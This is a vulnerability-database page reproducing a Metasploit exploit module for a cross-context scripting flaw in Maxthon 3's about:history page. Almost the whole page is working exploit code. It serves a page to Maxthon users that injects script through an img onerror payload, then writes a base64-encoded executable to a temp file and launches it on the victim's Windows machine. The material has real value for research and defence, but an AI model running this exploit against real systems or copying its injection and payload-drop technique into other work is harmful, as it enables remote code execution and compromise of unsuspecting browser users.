Maxthon3 about:history XCS Trusted Zone Code Execution

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Maxthon3 about:history XCS Trusted Zone Code Execution. Cross Context Scripting (XCS) in Maxthon about:history allows code execution. Works only on specific Maxthon versions: 3.1.7 build 600 to 3.2.2 build 1000


                                                ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##


require &#39;msf/core&#39;

class Metasploit3 &#60; Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::EXE

	def initialize(info = {})
		super(update_info(info,
			&#39;Name&#39;           =&#62; &#39;Maxthon3 about:history XCS Trusted Zone Code Execution&#39;,
			&#39;Description&#39;    =&#62; %q{
				Cross Context Scripting (XCS) is possible in the Maxthon about:history page.
				Injection in such privileged/trusted browser zone can be used to modify
				configuration settings and execute arbitrary commands.

				Please note this module only works against specific versions of XCS. Currently,
				we&#39;ve only successfully tested on Maxthon 3.1.7 build 600 up to 3.2.2 build 1000.
			},
			&#39;License&#39;        =&#62; MSF_LICENSE,
			&#39;Author&#39;         =&#62;
				[
					&#39;Roberto Suggi Liverani&#39;, # Discovered the vulnerability and developed msf module
					&#39;sinn3r&#39;, # msf module
					&#39;juan vazquez&#39; # msf module
				],
			&#39;References&#39; =&#62;
				[
					[&#39;URL&#39;, &#39;http://blog.malerisch.net/2012/12/maxthon-cross-context-scripting-xcs-about-history-rce.html&#39;]
				],
			&#39;Payload&#39; =&#62;
				{
					&#39;DisableNops&#39; =&#62; true
				},
			&#39;Platform&#39;       =&#62; &#39;win&#39;,
			&#39;Targets&#39; =&#62;
				[
					[&#39;Maxthon 3 (prior to 3.3) on Windows&#39;, {} ]
				],
			&#39;DisclosureDate&#39; =&#62; &#39;Nov 26 2012&#39;,
			&#39;DefaultTarget&#39;  =&#62; 0
		))
	end

	def on_request_uri(cli, request)
		if request.headers[&#39;User-agent&#39;] !~ /Maxthon\/3/ or request.headers[&#39;User-agent&#39;] !~ /AppleWebKit\/534.12/
			print_status(&#34;Sending 404 for User-Agent #{request.headers[&#39;User-agent&#39;]}&#34;)
			send_not_found(cli)
			return
		end

		html_hdr = %Q|
		&#60;html&#62;
		&#60;head&#62;
		&#60;title&#62;Loading&#60;/title&#62;
		|

		html_ftr = %Q|
		&#60;/head&#62;
		&#60;body &#62;
		&#60;h1&#62;Loading&#60;/h1&#62;
		&#60;/body&#62;&#60;/html&#62;
		|

		case request.uri
			when /\?jspayload/
				p = regenerate_payload(cli)
				if (p.nil?)
					send_not_found(cli)
					return
				end
				# We&#39;re going to run this through unescape(), so make sure
				# everything is encoded
				penc = generate_payload_exe
				penc2 = Rex::Text.encode_base64(penc)

				# now this is base64 encoded payload which needs to be passed to the file write api in maxthon.
				# Then file can be launched via Program DOM API, because of this only Maxthon 3.1 versions are targeted.
				# The Program DOM API isn&#39;t available on Maxthon 3.2 and upper versions.
				content = %Q|
				if(maxthon.program)
				{
				var fileTemp = new maxthon.io.File.createTempFile(&#34;test&#34;,&#34;exe&#34;);
				var fileObj = maxthon.io.File(fileTemp);
				maxthon.io.FileWriter(fileTemp);
				maxthon.io.writeDataURL(&#34;data:application/x-msdownload;base64,#{penc2}&#34;);
				maxthon.program.Program.launch(fileTemp.name_,&#34;C:&#34;);
				}
				|

			when /\?history/
				js = %Q|
				window.onload = function() {
					location.href = &#34;about:history&#34;;
				}
				|

				content = %Q|
				#{html_hdr}
				&#60;script&#62;
				#{js}
				&#60;/script&#62;
				#{html_ftr}
				|

			when get_resource()
				print_status(&#34;Sending #{self.name} payload for request #{request.uri}&#34;)

				js = %Q|
				url = location.href;
				url2 = url + &#34;?jspayload=1&#34;;
				inj = &#34;?history#%22/&#62;&#60;img src=a onerror=%22&#34;
				inj_1 = &#34;a=document.createElement(&#39;script&#39;);a.setAttribute(&#39;src&#39;,&#39;&#34;+url2+&#34;&#39;);document.body.appendChild(a);&#34;;
				window.location = unescape(inj) + inj_1;
				|

				content = %Q|
				#{html_hdr}
				&#60;script&#62;
				#{js}
				&#60;/script&#62;
				#{html_ftr}
				|
			else
				print_status(&#34;Sending 404 for request #{request.uri}&#34;)
				send_not_found(cli)
				return
		end

		send_response_html(cli, content)
	end

end

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1